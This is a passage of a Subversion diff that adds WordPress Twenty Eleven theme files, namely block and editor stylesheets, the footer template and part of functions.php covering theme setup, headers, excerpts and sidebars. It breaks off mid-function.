+.is-style-outline .wp-block-button__link {
+	color: #222;
+}
+
+.wp-block-button__link.has-text-color {
+	text-shadow: none;
+}
+
+/* Media & Text */
+
+.wp-block-media-text *:last-child {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+6.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+[data-align="center"] .wp-block-archives ul,
+[data-align="center"] .wp-block-categories ul,
+[data-align="center"] .wp-block-latest-posts ul {
+	list-style-position: inside;
+	margin-left: 2.5em;
+	text-align: center;
+}
+
+/* Latest Comments */
+
+.wp-block-latest-comments {
+	margin: 0;
+	padding: 0;
+}
+
+.wp-block-latest-comments .avatar,
+.wp-block-latest-comments__comment-avatar {
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-box-shadow: 0 1px 2px #ccc;
+	-moz-box-shadow: 0 1px 2px #ccc;
+	box-shadow: 0 1px 2px #ccc;
+	padding: 0;
+}
+
+.wp-block-latest-comments__comment,
+.wp-block-latest-comments__comment-excerpt,
+.wp-block-latest-comments__comment-excerpt p {
+	font-size: 15px;
+}
+
+.wp-block-latest-comments__comment-excerpt p:last-child {
+	margin-bottom: 0;
+}
+
+.wp-block-latest-comments__comment-meta,
+.wp-block-latest-comments__comment-date {
+	color: #666;
+	font-size: 12px;
+	line-height: 2.2em;
+}
+
+.wp-block-latest-comments__comment-meta a {
+	font-weight: bold;
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment {
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	margin: 0 0 2.625em;
+	position: relative;
+}
+
+/* Latest Posts */
+
+.edit-post-visual-editor .editor-block-list__block .wp-block-latest-posts.is-grid {
+	list-style: none;
+	margin-left: 0;
+	margin-right: 0;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/editor-style-rtl.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/editor-style-rtl.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/editor-style-rtl.css	(revision 56912)
@@ -0,0 +1,24 @@
+/*
+Theme Name: Twenty Eleven
+*/
+/*
+Used to style the TinyMCE editor.
+*/
+html .mceContentBody {
+	direction: rtl;
+	unicode-bidi: embed;
+	float: right;
+	width: 584px;
+}
+* {
+	font-family: Arial, Tahoma, sans-serif;
+}
+ul, ol {
+	margin: 0 2.5em 1.625em 0;
+}
+blockquote {
+	font-style: normal;
+}
+table {
+	text-align: right;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/editor-style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/editor-style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/editor-style.css	(revision 56912)
@@ -0,0 +1,301 @@
+/*
+Theme Name: Twenty Eleven
+Description: Used to style the TinyMCE editor.
+*/
+
+body {
+	color: #333;
+	font: 15px "Helvetica Neue", Helvetica, Arial, "Nimbus Sans L", sans-serif;
+	font-weight: 300;
+	line-height: 1.625;
+	max-width: 584px;
+}
+
+/* Headings */
+h1,h2,h3,h4,h5,h6 {
+	clear: both;
+}
+h1,
+h2 {
+	color: #000;
+	font-size: 15px;
+	font-weight: bold;
+	margin: 0 0 .8125em;
+}
+h3 {
+	font-size: 10px;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+h4, h5, h6 {
+	font-size: 14px;
+	margin: 0;
+}
+hr {
+	background-color: #ccc;
+	border: 0;
+	height: 1px;
+	margin-bottom: 1.625em;
+}
+
+/* Text elements */
+p, ul, ol, dl {
+	font-weight: 300;
+}
+p {
+	margin-bottom: 1.625em;
+}
+ul, ol {
+	margin: 0 0 1.625em 2.5em;
+	padding: 0;
+}
+ul {
+	list-style: square;
+}
+ol {
+	list-style-type: decimal;
+}
+ol ol {
+	list-style: upper-alpha;
+}
+ol ol ol {
+	list-style: lower-roman;
+}
+ol ol ol ol {
+	list-style: lower-alpha;
+}
+ul ul, ol ol, ul ol, ol ul {
+	margin-bottom: 0;
+}
+dl {
+	margin: 0 1.625em;
+}
+dt {
+	font-size: 15px;
+	font-weight: bold;
+}
+dd {
+	margin: 0 0 1.625em;
+}
+strong {
+	font-weight: bold;
+}
+cite, em, i {
+	font-style: italic;
+}
+cite {
+	border: none;
+}
+big {
+	font-size: 131.25%;
+}
+.mceContentBody blockquote,
+.mceContentBody blockquote p {
+	font-family: Georgia, "Bitstream Charter", serif !important;
+	font-style: italic !important;
+	font-weight: normal;
+	margin: 0 3em;
+}
+.mceContentBody blockquote em,
+.mceContentBody blockquote i,
+.mceContentBody blockquote cite {
+	font-style: normal;
+}
+.mceContentBody blockquote cite {
+	color: #666;
+	font: 12px "Helvetica Neue", Helvetica, Arial, sans-serif;
+	font-weight: 300;
+	letter-spacing: 0.05em;
+	text-transform: uppercase;
+}
+pre {
+	background: #f4f4f4;
+	font: 13px "Courier 10 Pitch", Courier, monospace;
+	line-height: 1.5;
+	margin-bottom: 1.625em;
+	padding: 0.75em 1.625em;
+}
+code, kbd, samp, var {
+	font: 13px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
+}
+abbr, acronym, dfn {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+address {
+	display: block;
+	margin: 0 0 1.625em;
+}
+del {
+	color: #333;
+}
+ins {
+	background: #fff9c0;
+	border: none;
+	color: #333;
+	text-decoration: none;
+}
+sup,
+sub {
+	font-size: 10px;
+	height: 0;
+	line-height: 1;
+	position: relative;
+	vertical-align: baseline;
+}
+sup {
+	bottom: 1ex;
+}
+sub {
+	top: .5ex;
+}
+input[type=text],
+textarea {
+	background: #fafafa;
+	-moz-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1);
+	-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1);
+	box-shadow: inset 0 1px 1px rgba(0,0,0,0.1);
+	border: 1px solid #ddd;
+	color: #888;
+}
+input[type=text]:focus,
+textarea:focus {
+	color: #333;
+}
+textarea {
+	padding-left: 3px;
+	width: 98%;
+}
+input[type=text] {
+	padding: 3px;
+}
+
+/* Links */
+a,
+a em,
+a strong {
+	color: #1b8be0;
+	text-decoration: none;
+}
+a:focus,
+a:active,
+a:hover {
+	text-decoration: underline;
+}
+
+/* Alignment */
+.alignleft {
+	display: inline;
+	float: left;
+	margin-right: 1.625em;
+}
+.alignright {
+	display: inline;
+	float: right;
+	margin-left: 1.625em;
+}
+.aligncenter {
+	clear: both;
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+/* Tables */
+table {
+	border: none !important;
+	border-bottom: 1px solid #ddd !important;
+	border-collapse: collapse;
+	border-spacing: 0;
+	text-align: left;
+	margin: 0 0 1.625em;
+	width: 100%;
+}
+tr th {
+	border: none !important;
+	color: #666;
+	font-size: 10px;
+	font-weight: 500;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+td {
+	border: none !important;
+	border-top: 1px solid #ddd !important;
+	padding: 6px 10px 6px 0;
+}
+
+/* Images */
+img.size-full {
+	width: auto; /* Prevent stretching of full-size images in IE8 */
+}
+img.wp-smiley {
+	border: none;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+p img,
+.wp-caption {
+	margin-top: 0.4em;
+}
+img {
+	border: 1px solid #ddd;
+	padding: 6px;
+	height: auto;
+	max-width: 97.5%;
+	max-width: calc( 100% - 14px );
+}
+img.alignleft,
+img.alignright,
+img.aligncenter {
+	margin-bottom: 1.625em;
+}
+.wp-caption {
+	background: #eee;
+	border: none;
+	margin-bottom: 1.625em;
+	max-width: 96%;
+	max-width: calc( 100% - 22px );
+	padding: 9px 11px;
+}
+.wp-caption img {
+	display: block;
+	margin: 0 -2px;
+	max-width: 98%;
+	max-width: calc( 100% - 10px );
+	border-color: #eee;
+}
+.wp-caption .wp-caption-dd {
+	color: #666;
+	font-family: Georgia, serif;
+	font-size: 12px;
+	margin-bottom: 0.6em;
+	padding: 10px 0 5px 40px;
+	position: relative;
+}
+.wp-caption .wp-caption-dd:before {
+	color: #666;
+	content: '\2014';
+	font-size: 14px;
+	font-style: normal;
+	font-weight: bold;
+	margin-right: 5px;
+	position: absolute;
+	left: 10px;
+	top: 7px;
+}
+a:focus img,
+a:hover img,
+a:active img {
+	background: #eee;
+	border-color: #bbb;
+}
+.wp-caption a:focus img,
+.wp-caption a:active img,
+.wp-caption a:hover img {
+	background: #fff;
+	border-color: #ddd;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/footer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/footer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/footer.php	(revision 56912)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * Template for displaying the footer
+ *
+ * Contains the closing of the id=main div and all content after
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+	</div><!-- #main -->
+
+	<footer id="colophon" role="contentinfo">
+
+			<?php
+				/*
+				 * A sidebar in the footer? Yep. You can customize
+				 * your footer with three columns of widgets.
+				 */
+				if ( ! is_404() )
+					get_sidebar( 'footer' );
+			?>
+
+			<div id="site-generator">
+				<?php do_action( 'twentyeleven_credits' ); ?>
+				<?php
+				if ( function_exists( 'the_privacy_policy_link' ) ) {
+					the_privacy_policy_link( '', '<span role="separator" aria-hidden="true"></span>' );
+				}
+				?>
+				<a href="<?php echo esc_url( __( 'https://wordpress.org/', 'twentyeleven' ) ); ?>" class="imprint" title="<?php esc_attr_e( 'Semantic Personal Publishing Platform', 'twentyeleven' ); ?>">
+					<?php printf( __( 'Proudly powered by %s', 'twentyeleven' ), 'WordPress' ); ?>
+				</a>
+			</div>
+	</footer><!-- #colophon -->
+</div><!-- #page -->
+
+<?php wp_footer(); ?>
+
+</body>
+</html>
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/functions.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/functions.php	(revision 56912)
@@ -0,0 +1,829 @@
+<?php
+/**
+ * Twenty Eleven functions and definitions
+ *
+ * Sets up the theme and provides some helper functions. Some helper functions
+ * are used in the theme as custom template tags. Others are attached to action and
+ * filter hooks in WordPress to change core functionality.
+ *
+ * The first function, twentyeleven_setup(), sets up the theme by registering support
+ * for various features in WordPress, such as post thumbnails, navigation menus, and the like.
+ *
+ * When using a child theme (see https://codex.wordpress.org/Theme_Development and
+ * https://codex.wordpress.org/Child_Themes), you can override certain functions
+ * (those wrapped in a function_exists() call) by defining them first in your child theme's
+ * functions.php file. The child theme's functions.php file is included before the parent
+ * theme's file, so the child theme functions would be used.
+ *
+ * Functions that are not pluggable (not wrapped in function_exists()) are instead attached
+ * to a filter or action hook. The hook can be removed by using remove_action() or
+ * remove_filter() and you can attach your own function to the hook.
+ *
+ * We can remove the parent theme's hook only after it is attached, which means we need to
+ * wait until setting up the child theme:
+ *
+ * <code>
+ * add_action( 'after_setup_theme', 'my_child_theme_setup' );
+ * function my_child_theme_setup() {
+ *     // We are providing our own filter for excerpt_length (or using the unfiltered value)
+ *     remove_filter( 'excerpt_length', 'twentyeleven_excerpt_length' );
+ *     ...
+ * }
+ * </code>
+ *
+ * For more information on hooks, actions, and filters, see https://codex.wordpress.org/Plugin_API.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+// Set the content width based on the theme's design and stylesheet.
+if ( ! isset( $content_width ) )
+	$content_width = 584;
+
+/*
+ * Tell WordPress to run twentyeleven_setup() when the 'after_setup_theme' hook is run.
+ */
+add_action( 'after_setup_theme', 'twentyeleven_setup' );
+
+if ( ! function_exists( 'twentyeleven_setup' ) ):
+/**
+ * Set up theme defaults and registers support for various WordPress features.
+ *
+ * Note that this function is hooked into the after_setup_theme hook, which runs
+ * before the init hook. The init hook is too late for some features, such as indicating
+ * support post thumbnails.
+ *
+ * To override twentyeleven_setup() in a child theme, add your own twentyeleven_setup to your child theme's
+ * functions.php file.
+ *
+ * @uses load_theme_textdomain()    For translation/localization support.
+ * @uses add_editor_style()         To style the visual editor.
+ * @uses add_theme_support()        To add support for post thumbnails, automatic feed links, custom headers
+ * 	                                and backgrounds, and post formats.
+ * @uses register_nav_menus()       To add support for navigation menus.
+ * @uses register_default_headers() To register the default custom header images provided with the theme.
+ * @uses set_post_thumbnail_size()  To set a custom post thumbnail size.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_setup() {
+
+	/*
+	 * Make Twenty Eleven available for translation.
+	 * Translations can be added to the /languages/ directory.
+	 * If you're building a theme based on Twenty Eleven, use
+	 * a find and replace to change 'twentyeleven' to the name
+	 * of your theme in all the template files.
+	 */
+	load_theme_textdomain( 'twentyeleven', get_template_directory() . '/languages' );
+
+	// This theme styles the visual editor with editor-style.css to match the theme style.
+	add_editor_style();
+
+	// Load regular editor styles into the new block-based editor.
+	add_theme_support( 'editor-styles' );
+
+	// Load default block styles.
+	add_theme_support( 'wp-block-styles' );
+
+	// Add support for responsive embeds.
+	add_theme_support( 'responsive-embeds' );
+
+	// Add support for custom color scheme.
+	add_theme_support( 'editor-color-palette', array(
+		array(
+			'name'  => __( 'Blue', 'twentyeleven' ),
+			'slug'  => 'blue',
+			'color' => '#1982d1',
+		),
+		array(
+			'name'  => __( 'Black', 'twentyeleven' ),
+			'slug'  => 'black',
+			'color' => '#000',
+		),
+		array(
+			'name'  => __( 'Dark Gray', 'twentyeleven' ),
+			'slug'  => 'dark-gray',
+			'color' => '#373737',
+		),
+		array(
+			'name'  => __( 'Medium Gray', 'twentyeleven' ),
+			'slug'  => 'medium-gray',
+			'color' => '#666',
+		),
+		array(
+			'name'  => __( 'Light Gray', 'twentyeleven' ),
+			'slug'  => 'light-gray',
+			'color' => '#e2e2e2',
+		),
+		array(
+			'name'  => __( 'White', 'twentyeleven' ),
+			'slug'  => 'white',
+			'color' => '#fff',
+		)
+	) );
+
+	// Load up our theme options page and related code.
+	require( get_template_directory() . '/inc/theme-options.php' );
+
+	// Grab Twenty Eleven's Ephemera widget.
+	require( get_template_directory() . '/inc/widgets.php' );
+
+	// Add default posts and comments RSS feed links to <head>.
+	add_theme_support( 'automatic-feed-links' );
+
+	// This theme uses wp_nav_menu() in one location.
+	register_nav_menu( 'primary', __( 'Primary Menu', 'twentyeleven' ) );
+
+	// Add support for a variety of post formats
+	add_theme_support( 'post-formats', array( 'aside', 'link', 'gallery', 'status', 'quote', 'image' ) );
+
+	$theme_options = twentyeleven_get_theme_options();
+	if ( 'dark' == $theme_options['color_scheme'] )
+		$default_background_color = '1d1d1d';
+	else
+		$default_background_color = 'e2e2e2';
+
+	// Add support for custom backgrounds.
+	add_theme_support( 'custom-background', array(
+		/*
+		 * Let WordPress know what our default background color is.
+		 * This is dependent on our current color scheme.
+		 */
+		'default-color' => $default_background_color,
+	) );
+
+	// This theme uses Featured Images (also known as post thumbnails) for per-post/per-page Custom Header images
+	add_theme_support( 'post-thumbnails' );
+
+	// Add support for custom headers.
+	$custom_header_support = array(
+		// The default header text color.
+		'default-text-color' => '000',
+		// The height and width of our custom header.
+		/**
+		 * Filter the Twenty Eleven default header image width.
+		 *
+		 * @since Twenty Eleven 1.0
+		 *
+		 * @param int The default header image width in pixels. Default 1000.
+		 */
+		'width' => apply_filters( 'twentyeleven_header_image_width', 1000 ),
+		/**
+		 * Filter the Twenty Eleven default header image height.
+		 *
+		 * @since Twenty Eleven 1.0
+		 *
+		 * @param int The default header image height in pixels. Default 288.
+		 */
+		'height' => apply_filters( 'twentyeleven_header_image_height', 288 ),
+		// Support flexible heights.
+		'flex-height' => true,
+		// Random image rotation by default.
+		'random-default' => true,
+		// Callback for styling the header.
+		'wp-head-callback' => 'twentyeleven_header_style',
+		// Callback for styling the header preview in the admin.
+		'admin-head-callback' => 'twentyeleven_admin_header_style',
+		// Callback used to display the header preview in the admin.
+		'admin-preview-callback' => 'twentyeleven_admin_header_image',
+	);
+
+	add_theme_support( 'custom-header', $custom_header_support );
+
+	if ( ! function_exists( 'get_custom_header' ) ) {
+		// This is all for compatibility with versions of WordPress prior to 3.4.
+		define( 'HEADER_TEXTCOLOR', $custom_header_support['default-text-color'] );
+		define( 'HEADER_IMAGE', '' );
+		define( 'HEADER_IMAGE_WIDTH', $custom_header_support['width'] );
+		define( 'HEADER_IMAGE_HEIGHT', $custom_header_support['height'] );
+		add_custom_image_header( $custom_header_support['wp-head-callback'], $custom_header_support['admin-head-callback'], $custom_header_support['admin-preview-callback'] );
+		add_custom_background();
+	}
+
+	/*
+	 * We'll be using post thumbnails for custom header images on posts and pages.
+	 * We want them to be the size of the header image that we just defined.
+	 * Larger images will be auto-cropped to fit, smaller ones will be ignored. See header.php.
+	 */
+	set_post_thumbnail_size( $custom_header_support['width'], $custom_header_support['height'], true );
+
+	/*
+	 * Add Twenty Eleven's custom image sizes.
+	 * Used for large feature (header) images.
+	 */
+	add_image_size( 'large-feature', $custom_header_support['width'], $custom_header_support['height'], true );
+	// Used for featured posts if a large-feature doesn't exist.
+	add_image_size( 'small-feature', 500, 300 );
+
+	// Default custom headers packaged with the theme. %s is a placeholder for the theme template directory URI.
+	register_default_headers( array(
+		'wheel' => array(
+			'url' => '%s/images/headers/wheel.jpg',
+			'thumbnail_url' => '%s/images/headers/wheel-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Wheel', 'twentyeleven' )
+		),
+		'shore' => array(
+			'url' => '%s/images/headers/shore.jpg',
+			'thumbnail_url' => '%s/images/headers/shore-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Shore', 'twentyeleven' )
+		),
+		'trolley' => array(
+			'url' => '%s/images/headers/trolley.jpg',
+			'thumbnail_url' => '%s/images/headers/trolley-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Trolley', 'twentyeleven' )
+		),
+		'pine-cone' => array(
+			'url' => '%s/images/headers/pine-cone.jpg',
+			'thumbnail_url' => '%s/images/headers/pine-cone-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Pine Cone', 'twentyeleven' )
+		),
+		'chessboard' => array(
+			'url' => '%s/images/headers/chessboard.jpg',
+			'thumbnail_url' => '%s/images/headers/chessboard-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Chessboard', 'twentyeleven' )
+		),
+		'lanterns' => array(
+			'url' => '%s/images/headers/lanterns.jpg',
+			'thumbnail_url' => '%s/images/headers/lanterns-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Lanterns', 'twentyeleven' )
+		),
+		'willow' => array(
+			'url' => '%s/images/headers/willow.jpg',
+			'thumbnail_url' => '%s/images/headers/willow-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Willow', 'twentyeleven' )
+		),
+		'hanoi' => array(
+			'url' => '%s/images/headers/hanoi.jpg',
+			'thumbnail_url' => '%s/images/headers/hanoi-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Hanoi Plant', 'twentyeleven' )
+		)
+	) );
+
+	// Indicate widget sidebars can use selective refresh in the Customizer.
+	add_theme_support( 'customize-selective-refresh-widgets' );
+}
+endif; // twentyeleven_setup
+
+/**
+ * Enqueue scripts and styles for front end.
+ *
+ * @since Twenty Eleven 2.9
+ */
+function twentyeleven_scripts_styles() {
+	// Theme block stylesheet.
+	wp_enqueue_style( 'twentyeleven-block-style', get_template_directory_uri() . '/blocks.css', array(), '20181230' );
+}
+add_action( 'wp_enqueue_scripts', 'twentyeleven_scripts_styles' );
+
+/**
+ * Enqueue styles for the block-based editor.
+ *
+ * @since Twenty Eleven 2.9
+ */
+function twentyeleven_block_editor_styles() {
+	// Block styles.
+	wp_enqueue_style( 'twentyeleven-block-editor-style', get_template_directory_uri() . '/editor-blocks.css', array(), '20181230' );
+}
+add_action( 'enqueue_block_editor_assets', 'twentyeleven_block_editor_styles' );
+
+if ( ! function_exists( 'twentyeleven_header_style' ) ) :
+/**
+ * Styles the header image and text displayed on the blog.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_header_style() {
+	$text_color = get_header_textcolor();
+
+	// If no custom options for text are set, let's bail.
+	if ( $text_color == HEADER_TEXTCOLOR )
+		return;
+
+	// If we get this far, we have custom styles. Let's do this.
+	?>
+	<style type="text/css" id="twentyeleven-header-css">
+	<?php
+		// Has the text been hidden?
+		if ( 'blank' == $text_color ) :
+	?>
+		#site-title,
+		#site-description {
+			position: absolute;
+			clip: rect(1px 1px 1px 1px); /* IE6, IE7 */
+			clip: rect(1px, 1px, 1px, 1px);
+		}
+	<?php
+		// If the user has set a custom color for the text use that
+		else :
+	?>
+		#site-title a,
+		#site-description {
+			color: #<?php echo $text_color; ?>;
+		}
+	<?php endif; ?>
+	</style>
+	<?php
+}
+endif; // twentyeleven_header_style
+
+if ( ! function_exists( 'twentyeleven_admin_header_style' ) ) :
+/**
+ * Styles the header image displayed on the Appearance > Header admin panel.
+ *
+ * Referenced via add_theme_support('custom-header') in twentyeleven_setup().
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_admin_header_style() {
+?>
+	<style type="text/css" id="twentyeleven-admin-header-css">
+	.appearance_page_custom-header #headimg {
+		border: none;
+	}
+	#headimg h1,
+	#desc {
+		font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
+	}
+	#headimg h1 {
+		margin: 0;
+	}
+	#headimg h1 a {
+		font-size: 32px;
+		line-height: 36px;
+		text-decoration: none;
+	}
+	#desc {
+		font-size: 14px;
+		line-height: 23px;
+		padding: 0 0 3em;
+	}
+	<?php
+		// If the user has set a custom color for the text use that
+		if ( get_header_textcolor() != HEADER_TEXTCOLOR ) :
+	?>
+		#site-title a,
+		#site-description {
+			color: #<?php echo get_header_textcolor(); ?>;
+		}
+	<?php endif; ?>
+	#headimg img {
+		max-width: 1000px;
+		height: auto;
+		width: 100%;
+	}
+	</style>
+<?php
+}
+endif; // twentyeleven_admin_header_style
+
+if ( ! function_exists( 'twentyeleven_admin_header_image' ) ) :
+/**
+ * Custom header image markup displayed on the Appearance > Header admin panel.
+ *
+ * Referenced via add_theme_support('custom-header') in twentyeleven_setup().
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_admin_header_image() { ?>
+	<div id="headimg">
+		<?php
+		$color = get_header_textcolor();
+		$image = get_header_image();
+		$style = 'display: none;';
+		if ( $color && $color != 'blank' ) {
+			$style = 'color: #' . $color . ';';
+		}
+		?>
+		<h1 class="displaying-header-text"><a id="name" style="<?php echo esc_attr( $style ); ?>" onclick="return false;" href="<?php echo esc_url( home_url( '/' ) ); ?>" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
+		<div id="desc" class="displaying-header-text" style="<?php echo esc_attr( $style ); ?>"><?php bloginfo( 'description' ); ?></div>
+  		<?php if ( $image ) : ?>
+			<img src="<?php echo esc_url( $image ); ?>" alt="" />
+		<?php endif; ?>
+	</div>
+<?php }
+endif; // twentyeleven_admin_header_image
+
+/**
+ * Set the post excerpt length to 40 words.
+ *
+ * To override this length in a child theme, remove
+ * the filter and add your own function tied to
+ * the excerpt_length filter hook.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param int $length The number of excerpt characters.
+ * @return int The filtered number of characters.
+ */
+function twentyeleven_excerpt_length( $length ) {
+	return 40;
+}
+add_filter( 'excerpt_length', 'twentyeleven_excerpt_length' );
+
+if ( ! function_exists( 'twentyeleven_continue_reading_link' ) ) :
+/**
+ * Return a "Continue Reading" link for excerpts
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @return string The "Continue Reading" HTML link.
+ */
+function twentyeleven_continue_reading_link() {
+	return ' <a href="'. esc_url( get_permalink() ) . '">' . __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) . '</a>';
+}
+endif; // twentyeleven_continue_reading_link
+
+/**
+ * Replace "[...]" in the Read More link with an ellipsis.
+ *
+ * The "[...]" is appended to automatically generated excerpts.
+ *
+ * To override this in a child theme, remove the filter and add your own
+ * function tied to the excerpt_more filter hook.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param string $more The Read More text.
+ * @return The filtered Read More text.
+ */
+function twentyeleven_auto_excerpt_more( $more ) {
+	if ( ! is_admin() ) {
+		return ' &hellip;' . twentyeleven_continue_reading_link();
+	}
+	return $more;
+}
+add_filter( 'excerpt_more', 'twentyeleven_auto_excerpt_more' );
+
+/**
+ * Add a pretty "Continue Reading" link to custom post excerpts.
+ *
+ * To override this link in a child theme, remove the filter and add your own
+ * function tied to the get_the_excerpt filter hook.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param string $output The "Continue Reading" link.
+ * @return string The filtered "Continue Reading" link.
+ */
+function twentyeleven_custom_excerpt_more( $output ) {
+	if ( has_excerpt() && ! is_attachment() && ! is_admin() ) {
+		$output .= twentyeleven_continue_reading_link();
+	}
+	return $output;
+}
+add_filter( 'get_the_excerpt', 'twentyeleven_custom_excerpt_more' );
+
+/**
+ * Show a home link for the wp_nav_menu() fallback, wp_page_menu().
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param array $args The page menu arguments. @see wp_page_menu()
+ * @return array The filtered page menu arguments.
+ */
+function twentyeleven_page_menu_args( $args ) {
+	if ( ! isset( $args['show_home'] ) )
+		$args['show_home'] = true;
+	return $args;
+}
+add_filter( 'wp_page_menu_args', 'twentyeleven_page_menu_args' );
+
+/**
+ * Register sidebars and widgetized areas.
+ *
+ * Also register the default Epherma widget.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_widgets_init() {
+
+	register_widget( 'Twenty_Eleven_Ephemera_Widget' );
+
+	register_sidebar( array(
+		'name' => __( 'Main Sidebar', 'twentyeleven' ),
+		'id' => 'sidebar-1',
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => '</aside>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	register_sidebar( array(
+		'name' => __( 'Showcase Sidebar', 'twentyeleven' ),
+		'id' => 'sidebar-2',
+		'description' => __( 'The sidebar for the optional Showcase Template', 'twentyeleven' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => '</aside>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	register_sidebar( array(
+		'name' => __( 'Footer Area One', 'twentyeleven' ),
+		'id' => 'sidebar-3',
+		'description' => __( 'An optional widget area for your site footer', 'twentyeleven' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => '</aside>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	register_sidebar( array(
+		'name' => __( 'Footer Area Two', 'twentyeleven' ),
+		'id' => 'sidebar-4',
+		'description' => __( 'An optional widget area for your site footer', 'twentyeleven' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => '</aside>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	register_sidebar( array(
+		'name' => __( 'Footer Area Three', 'twentyeleven' ),
+		'id' => 'sidebar-5',
+		'description' => __( 'An optional widget area for your site footer', 'twentyeleven' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => '</aside>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+}
+add_action( 'widgets_init', 'twentyeleven_widgets_init' );
+
+if ( ! function_exists( 'twentyeleven_content_nav' ) ) :
+/**
+ * Display navigation to next/previous pages when applicable.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param string $html_id The HTML id attribute.
+ */
+function twentyeleven_content_nav( $html_id ) {
+	global $wp_query;
+
+	if ( $wp_query->max_num_pages > 1 ) : ?>
+		<nav id="<?php echo esc_attr( $html_id ); ?>">
+			<h3 class="assistive-text"><?php _e( 'Post navigation', 'twentyeleven' ); ?></h3>
+			<div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentyeleven' ) ); ?></div>
+			<div class="nav-next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?></div>
+		</nav><!-- #nav-above -->
+	<?php endif;
+}
+endif; // twentyeleven_content_nav
+
+/**
+ * Return the first link from the post content. If none found, the
+ * post permalink is used as a fallback.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @uses get_url_in_content() to get the first URL from the post content.
+ *
+ * @return string The first link.
+ */
+function twentyeleven_get_first_url() {
+	$content = get_the_content();
+	$has_url = function_exists( 'get_url_in_content' ) ? get_url_in_content( $content ) : false;
+
+	if ( ! $has_url )
+		$has_url = twentyeleven_url_grabber();
+
+	/** This filter is documented in wp-includes/link-template.php */
+	return ( $has_url ) ? $has_url : apply_filters( 'the_permalink', get_permalink() );
+}
+
+/**
+ * Return the URL for the first link found in the post content.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @return string|bool URL or false when no link is present.
+ */
+function twentyeleven_url_grabber() {
+	if ( ! preg_match( '/<a\s[^>]*?href=[\'"](.+?)[\'"]/is', get_the_content(), $matches ) )
+		return false;
+
+	return esc_url_raw( $matches[1] );
+}
+
+/**
+ * Count the number of footer sidebars to enable dynamic classes for the footer.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_footer_sidebar_class() {
+	$count = 0;
+
+	if ( is_active_sidebar( 'sidebar-3' ) )
+		$count++;
+
